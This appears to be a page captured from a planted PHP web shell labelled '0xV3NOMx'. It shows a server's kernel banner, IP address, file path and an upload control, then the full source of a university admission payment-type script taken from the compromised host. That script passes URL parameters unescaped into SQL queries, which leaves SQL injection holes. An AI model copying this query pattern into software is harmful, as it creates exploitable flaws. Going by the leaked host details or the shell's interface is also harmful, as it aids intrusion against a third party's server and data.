0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.133.126.241


Current Path : /proc/thread-self/root/var/www/html/admission/src/
Upload File :
Current File : //proc/thread-self/root/var/www/html/admission/src/getPaymentTypes.php

<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
include("/var/www/config.php");

  if($_REQUEST['a'] == "getPaymentTypes"){

    $SERVERNAME=SERVERNAME; 
    $USERNAME=USERNAME; 
    $PASSWORD=PASSWORD; 
    $DATABASE="logisys3_comexam";

    $conn = new   mysqli($SERVERNAME, $USERNAME, $PASSWORD, $DATABASE);
		if(!$conn) {
	    	die("Connection failed: " . mysqli_connect_error());
		}
    
    $univcode= $_GET['univcode'];
    $degree= $_GET['degree'];
    
    $query = "select * from dbname 
    where ifnull(fdeleted,'') <> 'T' and funivcode = '{$univcode}'";
    $res = mysqli_query($conn, $query);
    $row = mysqli_fetch_assoc($res);

    $DATABASE = $row['FDBNAME'];
    $conn = new   mysqli($SERVERNAME, $USERNAME, $PASSWORD, $DATABASE);

    if(!$conn) {
	    	die("Connection failed: " . mysqli_connect_error());
		}
    
    $paytype = array();
    $paymentType = array();

    $getPaymentTypes = "select distinct funivcode,fbank,fbankname,fbanklog,fmid,fkey,fworkingid,freturnurl,ifnull(fbankcharge,'') as fbankcharge
    from maspg where ifnull(fsuspend,'') <> 'T' and ifnull(FENTTYPE,'') = '{$degree}' 
    order by forder ";
    
    $lobj_payment_type = mysqli_query($conn, $getPaymentTypes);

    while($row = mysqli_fetch_assoc($lobj_payment_type)){

      $paytype['payment_type'] = $row['fbank'];
      $paytype['bank_name'] = $row['fbankname'];
      $paytype['logo'] = $row['fbanklog'];
      $paytype['fmid'] = $row['fmid'];
      $paytype['charges'] = $row['fbankcharge'];

      array_push($paymentType,$paytype);
    } 
    $arr=new \stdClass();
    $arr->error_code = 0;
    $arr->paytype = $paymentType;
    $arr->status = 'Success';
    echo json_encode($arr);
  }
?>